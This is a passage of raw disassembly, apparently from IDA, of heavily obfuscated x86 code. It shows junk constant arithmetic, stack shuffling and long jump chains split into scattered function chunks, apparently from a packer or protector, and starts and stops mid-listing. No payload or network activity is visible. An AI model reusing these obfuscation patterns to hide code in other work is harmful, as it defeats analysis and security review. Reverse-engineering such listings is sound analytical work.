OF FUNCTION CHUNK FOR sub_5A9EB4 loc_59FE79: ; CODE XREF: sub_5A9EB4+6j ; sub_5AA2D1+4EF0j add esp, [edx+38h] jmp loc_59A493 ; END OF FUNCTION CHUNK FOR sub_5A9EB4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59FE81: ; CODE XREF: sub_5AA2D1+21D7j jo loc_5AC6B0 xor ebp, 702B565Fh jnp loc_5B001C jmp loc_59D5CB ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- pop esi push 780Dh ; START OF FUNCTION CHUNK FOR sub_5A809B loc_59FE9E: ; CODE XREF: sub_5A809B-1AEDj push [esp-8+arg_4] mov ecx, [esp+0] add esp, 4 pop [esp-8+arg_0] mov esp, [esp-0Ch+arg_4] add word ptr [esp-0Ch+arg_4], ax pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5A809B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59FEB8: ; CODE XREF: sub_5AA2D1-2C77j add edi, 32217Ah inc edi xor edi, 0B5DB9A52h add ebx, edi pop edi add ebx, 4 jmp sub_5ABE5F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_59FED3: ; CODE XREF: sub_59C979:loc_59CA17j add edi, 0DDF70000h and eax, edi push dword ptr [esp] jmp loc_5A4BD0 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A10E3 loc_59FEE3: ; CODE XREF: sub_5A10E3-291Bj add ebp, 4 jmp loc_5AFF6D ; END OF FUNCTION CHUNK FOR sub_5A10E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5998AD loc_59FEEE: ; CODE XREF: sub_5998AD+1E4Fj mov ebx, 2 add edi, ebx pop ebx jmp sub_59C95F ; END OF FUNCTION CHUNK FOR sub_5998AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59FEFB: ; CODE XREF: sub_5AA2D1:loc_5A0F5Dj neg ebx jbe loc_5A4E54 sub ebx, 0FACFB226h push ebx mov bl, cl mov ebx, edi loc_59FF0E: ; CODE XREF: sub_5AA2D1-8C4Cj push ecx pop edi pop ecx push dword ptr [esp+0] mov ebx, [esp+4+var_4] add esp, 4 push ebp mov ebp, esp push edx mov edx, 2F603AF7h xor edx, 78DA0B91h not edx shr edx, 1 jmp loc_5ADC6A ; --------------------------------------------------------------------------- loc_59FF35: ; CODE XREF: sub_5AA2D1+9j mov edx, 54960720h xor edx, 6E98202Fh jl loc_5A45CC shr edx, 3 inc edx jmp loc_5A69F1 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD993 loc_59FF4F: ; CODE XREF: sub_5AD993-9536j mov [esp-18h+arg_14], eax mov eax, 4 push edx mov edx, 4F0A4DABh add ebx, edx jmp loc_599B30 ; END OF FUNCTION CHUNK FOR sub_5AD993 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A580F loc_59FF64: ; CODE XREF: sub_5A580F+D64j xor eax, 43BD296Fh dec eax jz loc_5A94B6 xor eax, 185E43FDh sub [esp+0Ch+var_8], eax jmp loc_5AA917 ; END OF FUNCTION CHUNK FOR sub_5A580F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F02F loc_59FF7E: ; CODE XREF: sub_59F02F+BF46j xor ebp, [esp+10h+var_10] jmp loc_5A44D3 ; END OF FUNCTION CHUNK FOR sub_59F02F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_59FF86: ; CODE XREF: sub_5B01F7-D8C5j mov ebp, eax mov eax, [esp+14h+var_14] add esp, 4 or ebp, 32E15B06h jns loc_5A1B21 or ebp, 444B5EC0h xor ebp, 81C732Ah mov edx, ebp push ecx ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59FFAC: ; CODE XREF: sub_5AA2D1-8AF6j sub [esp+8+var_8], 1 pop esi push ecx mov ecx, 50B60DE0h and esi, ecx mov ecx, [esp+8+var_8] add esp, 4 add esi, 1 push edx mov edx, 0C7E083Fh add esi, edx jmp loc_5A7F02 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A580F loc_59FFD2: ; CODE XREF: sub_5A580F+61D2j mov ecx, 60CA0C58h shl ecx, 3 not ecx inc ecx sub ecx, 427D0D0Dh add ecx, 8323D46Dh add esi, ecx pop ecx push edi jmp loc_5A3BBF ; END OF FUNCTION CHUNK FOR sub_5A580F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59FFF2: ; CODE XREF: sub_5AF2D9-158F8j ; sub_5AA2D1-7B8Ej sub ecx, edx jmp loc_5A89AC ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_59FFF9: ; CODE XREF: sub_5A0FFF-4E98j xor al, 0B4h jg loc_5A1EBD inc al jns sub_5AD015 push ecx jmp loc_5AC174 ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A86D0 loc_5A000F: ; CODE XREF: sub_5A86D0-64BBj mov edx, 0C59590C3h add ebp, edx pop edx add esi, ebp pop ebp jmp loc_5A73AD ; END OF FUNCTION CHUNK FOR sub_5A86D0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A001F: ; CODE XREF: sub_5AA2D1:loc_5A05BAj jmp loc_5A4EFA ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_5A0024: ; CODE XREF: sub_59CBE1+B60j mov esi, eax mov eax, [esp-8+arg_4] add esp, 4 xor esi, ebx mov ebx, [esp-0Ch+arg_8] add esp, 4 jmp loc_5A8F3D ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A003C: ; CODE XREF: sub_5992DA+12546j sub ebx, edi sub ebx, 3D420349h pop edi mov eax, ebx mov ebx, [esp+0] push edx mov edx, esp push ebp push edi jmp loc_59AD34 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- lodsd jmp loc_5AEA49 ; =============== S U B R O U T I N E ======================================= sub_5A005A proc near ; DATA XREF: sdfs____:00598E4Co var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], ecx push 3Ch pop ecx add ecx, 52DC287Fh sub ecx, 1D9A3378h add ecx, edi add ecx, 1D9A3378h jmp sub_59A479 sub_5A005A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD795 loc_5A0082: ; CODE XREF: sub_5AD795-F172j mov ch, 9 mov dl, ch mov ecx, [esp+8+var_8] add esp, 4 xor dl, 0F8h jmp loc_599C45 ; END OF FUNCTION CHUNK FOR sub_5AD795 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4D9D loc_5A0094: ; CODE XREF: sub_5A4D9D-476Cj pop esp push 3CD8h mov [esp+4+var_4], ebp mov ebp, 2 add ebx, ebp jmp loc_5A0D19 ; END OF FUNCTION CHUNK FOR sub_5A4D9D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5A00A9: ; CODE XREF: sub_5A477C-42F3j add esp, 4 add esp, 4 movzx ax, byte ptr [eax] push 60BFh mov [esp-4+arg_0], ebx push esi jmp loc_5A590A ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2D20 loc_5A00C7: ; CODE XREF: sub_5A2D20+9j sub ebp, 4 xchg ebp, [esp+0] pop esp mov [esp-8+arg_0], ecx push [esp-8+arg_4] pop ecx pop [esp-8+arg_0] pop esp jmp loc_5AABA9 ; END OF FUNCTION CHUNK FOR sub_5A2D20 ; =============== S U B R O U T I N E ======================================= sub_5A00E2 proc near ; CODE XREF: sub_5A77D5-5690j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005A7DCB SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005A8ECC SIZE 0000001E BYTES sub esp, 4 mov [esp+4+var_4], ebx push [esp+4+var_4] pop eax push 5A73h mov [esp+8+var_8], esi mov esi, esp push ebx mov ebx, 6EED555Bh neg ebx shr ebx, 3 xor ebx, 466A50E1h xor ebx, 0B4A1Bh jmp loc_5A8ECC sub_5A00E2 endp ; --------------------------------------------------------------------------- loc_5A0115: ; CODE XREF: sdfs____:0059A653j push edx mov dh, 0BFh jmp loc_5AD75F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A81C4 loc_5A011D: ; CODE XREF: sub_5A81C4-B6DAj or [edi+1Ch], ecx jmp loc_5A9436 ; END OF FUNCTION CHUNK FOR sub_5A81C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A75B9 loc_5A0125: ; CODE XREF: sub_5A75B9-8D2Fj jns loc_5AC875 jmp loc_5A2BDD ; END OF FUNCTION CHUNK FOR sub_5A75B9 ; --------------------------------------------------------------------------- not dh shr dh, 4 push eax push ecx mov cl, 87h pop edx loc_5A013A: ; CODE XREF: sdfs____:005AA082j sub esp, 4 mov [esp], ebx jmp loc_5A20F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD993 loc_5A0145: ; CODE XREF: sub_5AD993+2434j sub ebx, 407F2E70h inc ebx push 763Ah mov [esp-10h+arg_C], eax mov eax, 27F51025h neg eax shr eax, 2 or eax, 72AC19A2h push ebp mov ebp, 0C260445Bh add eax, ebp jmp loc_59C06E ; END OF FUNCTION CHUNK FOR sub_5AD993 ; --------------------------------------------------------------------------- loc_5A0170: ; CODE XREF: sdfs____:005A7F64j pop ebp jmp loc_5A3C7A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AFE9D loc_5A0176: ; CODE XREF: sub_5AFE9D-446Aj sub eax, 0F1B5C756h jmp loc_59D5CB ; END OF FUNCTION CHUNK FOR sub_5AFE9D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A0180: ; CODE XREF: sub_5AA2D1:loc_5AC70Aj jmp loc_5A0EC4 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8992 loc_5A0185: ; CODE XREF: sub_5A8992+15j mov [esp+0], ebx mov ebx, esp push eax mov eax, 4 add ebx, eax mov eax, [esp+4+var_4] add esp, 4 push ecx jmp loc_5A0EED ; END OF FUNCTION CHUNK FOR sub_5A8992 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD336 loc_5A01A1: ; CODE XREF: sub_5AD336-887Dj pop ebp jmp loc_5A04EE ; END OF FUNCTION CHUNK FOR sub_5AD336 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A63DC loc_5A01A7: ; CODE XREF: sub_5A63DC-5BFEj sub ebx, ecx pop ecx mov ecx, [esp+0Ch+var_C] add esp, 4 push edi mov edi, esp push ecx mov ecx, 4 add edi, ecx jmp loc_5AB9F3 ; END OF FUNCTION CHUNK FOR sub_5A63DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A01C3: ; CODE XREF: sub_5AA2D1:loc_5A80D6j push edx jmp loc_5A19AE ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C2B8 loc_5A01C9: ; CODE XREF: sub_59C2B8+2AEEj ; sub_5A8101+3C88j push esp jmp loc_59AD2B ; END OF FUNCTION CHUNK FOR sub_59C2B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A809B loc_5A01CF: ; CODE XREF: sub_5A809B-17BFj pop [esp-8+arg_0] push ebx jmp loc_59CBE7 ; END OF FUNCTION CHUNK FOR sub_5A809B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B2E4 loc_5A01D8: ; CODE XREF: sub_59B2E4+8082j mov [esp+0Ch+var_C], edi mov edi, 39750459h or edi, 3C0923F0h shr edi, 3 jmp loc_5A486C ; END OF FUNCTION CHUNK FOR sub_59B2E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A7E7 loc_5A01EE: ; CODE XREF: sub_59A7E7+A12Ej mov edx, [esp-4+arg_0] jmp loc_5ACF56 ; END OF FUNCTION CHUNK FOR sub_59A7E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A01F6: ; CODE XREF: sub_5AA2D1-466Cj ; sub_59C656+D601j pop ecx jmp loc_5A2969 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB179 loc_5A01FC: ; CODE XREF: sub_5AB179+4569j sub eax, 3AC04580h sub eax, ebp add eax, 3AC04580h pop ebp jmp loc_5AFD00 ; END OF FUNCTION CHUNK FOR sub_5AB179 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A020E: ; CODE XREF: sub_5AA2D1-DF4Bj and ebx, 7D6F3A68h add ebx, 245F09A7h mov ecx, ebx pop ebx mov edi, ecx mov ecx, [esp-18h+arg_14] add esp, 4 sub eax, edi mov edi, [esp-1Ch+arg_18] add esp, 4 add eax, 0B86661h sub eax, 740E465Fh add eax, ebp push esi mov esi, 0FC004A7h sub esi, 0AD838672h dec esi push eax mov eax, 4EB7FE6h add esi, 3133018Dh sub esi, eax jmp loc_5AEC7B ; --------------------------------------------------------------------------- loc_5A025C: ; CODE XREF: sub_5AA2D1-6E1j push 7FF1h mov [esp-14h+arg_10], edx mov dh, 6Dh or dh, 0E4h inc dh push cx jmp sub_59C979 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A0272: ; CODE XREF: sub_59D6B8-3106j push edi jmp loc_5A51D7 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; =============== S U B R O U T I N E ======================================= sub_5A0278 proc near ; CODE XREF: sub_5A477C+2307j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059E5BB SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0059FC40 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 005A4B3F SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A51A0 SIZE 00000015 BYTES push ebx jmp loc_5A51A0 sub_5A0278 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A917C loc_5A027E: ; CODE XREF: sub_5A917C+1A7Bj pop esp xor ecx, 1A7A565Eh mov ebx, ecx pop ecx sub ecx, 67AB0EC0h add ecx, ebx add ecx, 67AB0EC0h jmp loc_5A5A6A ; END OF FUNCTION CHUNK FOR sub_5A917C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABE0D loc_5A029B: ; CODE XREF: sub_5ABE0D-104Cj xchg bl, byte ptr [esp+14h+var_14] not bl xchg bl, byte ptr [esp+14h+var_14] mov ebx, [esp+14h+var_14] add esp, 4 inc bl push edx mov dh, 0 inc dh jmp sub_5A9EC5 ; END OF FUNCTION CHUNK FOR sub_5ABE0D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A580F loc_5A02B5: ; CODE XREF: sub_5A580F-861Fj dec ecx neg ecx dec ecx not ecx push eax mov eax, 543F765Ah xor ecx, eax jmp loc_5AFFF5 ; END OF FUNCTION CHUNK FOR sub_5A580F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_5A02C8: ; CODE XREF: sub_5A0AA2+16j mov esi, 4 add ebx, esi pop esi sub ebx, 4 jmp loc_5A80E2 ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A02D8: ; CODE XREF: sub_5AA2D1-ECB5j sub cx, bx pop ebx sub ax, cx jmp loc_5A4691 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- loc_5A02E4: ; CODE XREF: sdfs____:005A92BBj push 7889h mov [esp], ecx sub esp, 4 push esp pop dword ptr [esp] jmp loc_5AD648 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A522E loc_5A02F8: ; CODE XREF: sub_5A522E+9C3Aj sub eax, 2 xchg eax, [esp+8+var_8] mov esp, [esp+8+var_8] mov [esp-6+arg_2], dx push ax pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5A522E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59982C loc_5A030D: ; CODE XREF: sub_59982C+9j mov ecx, 3C4768AAh mov ebp, ecx mov ecx, [esp+4+var_4] add esp, 4 push ecx mov ecx, 535E47D4h inc ecx inc ecx jmp loc_5A5473 ; END OF FUNCTION CHUNK FOR sub_59982C ; =============== S U B R O U T I N E ======================================= sub_5A0327 proc near ; CODE XREF: sub_5AA2D1-ABC1j ; sub_59E94B+B758j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059F0AB SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005A4A97 SIZE 00000008 BYTES push ebx mov bl, cl mov dl, bl mov ebx, [esp+4+var_4] add esp, 4 mov cx, [esp+0] push ebp mov ebp, esp jmp loc_59F0AB sub_5A0327 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_5A0341: ; CODE XREF: sub_5A0FFF+6D7Dj add esp, 4 push eax mov ah, bl push ecx mov cl, ah mov dh, cl pop ecx mov eax, [esp+4+var_4] add esp, 4 pop ebx pop eax mov bx, [esp-8+arg_4] add esp, 2 xor al, dh jmp loc_5A69C0 ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- loc_5A0369: ; CODE XREF: sdfs____:005A0D0Fj push ecx mov ecx, esp add ecx, 4 jmp loc_5A8447 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A0377: ; CODE XREF: sub_5AA2D1+745j or dl, ah mov eax, [esp+0] add esp, 4 shl dl, 7 sub dl, 47h push 7AA0h mov [esp+0], eax mov al, dl mov ch, al pop eax push [esp-4+arg_0] jmp loc_59DEBF ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_5A039A proc near ; CODE XREF: sub_5A6BBC-34C3j var_4 = dword ptr -4 push ebp mov ebp, 116B3D1Dh mov ebx, ebp mov ebp, [esp+4+var_4] jmp sub_5A695A sub_5A039A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A03AA: ; CODE XREF: sub_5AA2D1-68B0j push 61F4h mov [esp+4+var_4], esi mov esi, 8000h and eax, esi push [esp+4+var_4] push [esp+8+var_8] pop esi add esp, 4 push esi push esp pop esi sub esp, 4 jmp loc_5AB0EC ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- loc_5A03CE: ; CODE XREF: sdfs____:005A5905j mov dh, 0E4h add dh, 1 push eax jmp loc_5ACB55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5607 loc_5A03D9: ; CODE XREF: sub_5A5607-28D8j sub edx, 67D473ABh jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5A5607 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A06C1 loc_5A03E4: ; CODE XREF: sub_5A06C1+7j mov ecx, 5AEC2AE0h mov edi, 66B03111h sub edi, ecx pop ecx and edi, 2AE1799Ch shl edi, 3 add edi, 7E721C9Bh push 4944h mov [esp+8+var_8], esi push edx push eax mov eax, 42CC6A82h mov edx, 60B9B7D7h sub edx, eax jmp loc_59AEE8 ; END OF FUNCTION CHUNK FOR sub_5A06C1 ; =============== S U B R O U T I N E ======================================= sub_5A041B proc near ; DATA XREF: sdfs____:00598EB0o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 ; FUNCTION CHUNK AT 005A4F36 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A7695 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AE9EC SIZE 00000008 BYTES mov ax, [esp+0] push edi mov edi, esp push 4C63h mov [esp+8+var_8], eax mov eax, 4 add edi, eax mov eax, [esp+8+var_8] push 2717h mov [esp+0Ch+var_C], eax mov eax, esp push 5580h mov [esp+10h+var_10], ebp push esi mov esi, 0AFA77C4h mov ebp, 0B7E3EC3h xor ebp, esi jmp loc_5A7695 sub_5A041B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59982C loc_5A0458: ; CODE XREF: sub_59982C+BC6Dj inc edx shr edx, 6 sub edx, 4D83D76h push 3615h mov [esp+8+var_8], ebp mov ebp, 8EF58768h sub edx, ebp pop ebp add eax, edx pop edx jmp loc_5A1964 ; END OF FUNCTION CHUNK FOR sub_59982C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5A047A: ; CODE XREF: sub_5A477C+7A8Bj add ebx, ecx sub ebx, 33122C97h push dword ptr [esp+0] push [esp+4+var_4] pop ecx jmp loc_5A00A9 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- loc_5A048E: ; CODE XREF: sdfs____:005A879Dj add ebx, 4 xchg ebx, [esp] jmp loc_5A7070 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5A0499: ; CODE XREF: sub_59EE3E+DE93j or edi, 5D6B402Dh push ebp push 62133B79h pop ebp sub esp, 4 mov [esp+0], edi mov edi, 57B52BD1h xor ebp, edi mov edi, [esp+0] add esp, 4 jmp loc_5A78B3 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- loc_5A04C1: ; CODE XREF: sdfs____:005ABC22j add eax, 0EA7CDBAEh mov ebx, eax pop eax neg ebx jmp loc_5AC15F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A04D0: ; CODE XREF: sub_5AA2D1-6D35j mov bl, dl pop edx xor bl, 9 jmp loc_5A21FF ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5A04DB: ; CODE XREF: sub_59EE3E-113Aj dec edx jg loc_599798 sub edx, 60DC5EBFh mov esi, edx mov edx, [esp-4+arg_0] pop ebp loc_5A04EE: ; CODE XREF: sub_5AD336-D194j sub esp, 4 mov [esp-4+arg_0], ebp mov ebp, 64A72229h and ebp, 2742157Eh shl ebp, 1 jnp loc_5AAE43 and ebp, 766D309Ch jnb loc_5AA0C2 xor ebp, 70EF0FB3h jmp loc_5A85EF ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- pop esi mov edx, ecx pop esi ; START OF FUNCTION CHUNK FOR sub_5AEC1C loc_5A0522: ; CODE XREF: sub_5AEC1C-C2CAj push ax push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp+6+var_8+2] pop esp mov [esp+2+var_4+2], ebx jmp loc_5A77C9 ; END OF FUNCTION CHUNK FOR sub_5AEC1C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A9E9 loc_5A053F: ; CODE XREF: sub_59A9E9+857Aj ; sub_5AC803+1Ej or ebp, 39015939h jmp loc_5ADE92 ; END OF FUNCTION CHUNK FOR sub_59A9E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A06C1 loc_5A054A: ; CODE XREF: sub_5A06C1+179j add esi, edx sub esi, 1F0F728Fh mov edx, [esp+0Ch+var_C] push ebp mov ebp, esp jmp loc_5A67A5 ; END OF FUNCTION CHUNK FOR sub_5A06C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD33 loc_5A055D: ; CODE XREF: sub_5ADD33-13850j push dword ptr [esp+0] pop eax push edx jmp loc_59CDBB ; END OF FUNCTION CHUNK FOR sub_5ADD33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A0567: ; CODE XREF: sub_5AA2D1+34BFj pop [esp+8+var_8] pop esp mov [esp+0], ebx mov ebx, 77AE4BA1h push 1C81h mov [esp+4+var_4], edi mov edi, 5F27749Ch shl edi, 8 add edi, 0FB17898Ch sub eax, edi pop edi add eax, ebx push edx mov edx, 228C258Ch jmp loc_5A3173 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_5A0599 proc near ; DATA XREF: sdfs____:00598FDCo mov esp, [esp+0] jmp loc_59910F sub_5A0599 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_5A05A1: ; CODE XREF: sub_59CBE1+367j ; sub_59EE3E+7468j ... push ecx jmp loc_5A329D ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4E04 loc_5A05A7: ; CODE XREF: sub_5A4E04-20E9j neg esi jle loc_5AFAC6 add esi, 3C90C030h jmp loc_5AC64B ; END OF FUNCTION CHUNK FOR sub_5A4E04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A05BA: ; CODE XREF: sub_5AA2D1+19D2j jle loc_5A001F jmp loc_5A353F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_5A05C5: ; CODE XREF: sub_59CBE1:loc_5A7C5Aj jmp loc_59F9CF ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A21F1 loc_5A05CA: ; CODE XREF: sub_5A21F1+E0EDj pop ebp push edi mov edi, 78AB581Fh sub [esp+0Ch+var_4], edi pop edi push ebp mov ebp, 577567E9h add [esp+0Ch+var_4], ebp pop ebp sub [esp+8+var_4], 51281642h jmp loc_5A53A4 ; END OF FUNCTION CHUNK FOR sub_5A21F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EC5 loc_5A05EE: ; CODE XREF: sub_5A9EC5-49B2j push ecx push bx mov bh, 99h mov ch, bh mov bx, word ptr [esp+8+var_8] add esp, 2 and ch, 0CCh xor ch, 3Eh sub esp, 4 mov [esp+8+var_8], ebx mov bh, 0FFh jmp loc_5A1983 ; END OF FUNCTION CHUNK FOR sub_5A9EC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4D9D loc_5A0615: ; CODE XREF: sub_5A4D9D-149Cj add esp, 4 push 1CDAh mov [esp+4+var_4], ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+4+var_4] jmp loc_5A0094 ; END OF FUNCTION CHUNK FOR sub_5A4D9D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A0636: ; CODE XREF: sub_5992DA+16CE8j pop eax mov ah, bh pop ebx push edx push ecx mov ch, ah mov dl, ch pop ecx mov bl, dl pop edx jmp loc_59BD1A ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599D0E loc_5A0649: ; CODE XREF: sub_599D0E+13A97j mov [esp+0], edx mov dh, 46h sub dh, 0BFh dec dh not dh xor dh, 4Ah add bl, dh jmp loc_5A3B10 ; END OF FUNCTION CHUNK FOR sub_599D0E ; --------------------------------------------------------------------------- loc_5A065F: ; CODE XREF: sdfs____:0059F4CDj add ecx, 0FFFFFFFFh dec ecx add ecx, 219E5117h push 45B2h mov [esp], ebx mov ebx, 0F49A73A9h add ecx, ebx mov ebx, [esp] add esp, 4 push ecx add dword ptr [esp], 23833CE6h mov eax, [esp] jmp loc_59C840 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A118F loc_5A0691: ; CODE XREF: sub_5A118F+CB7Fj jl loc_59DE46 jmp loc_5A1C35 ; END OF FUNCTION CHUNK FOR sub_5A118F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A069C: ; CODE XREF: sub_5AA2D1-A5C8j add bl, dl pop edx jmp loc_59B7A2 ; --------------------------------------------------------------------------- loc_5A06A4: ; CODE XREF: sub_5AA2D1-DE33j jp loc_5AF499 jmp loc_5AB44D ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB3DB loc_5A06AF: 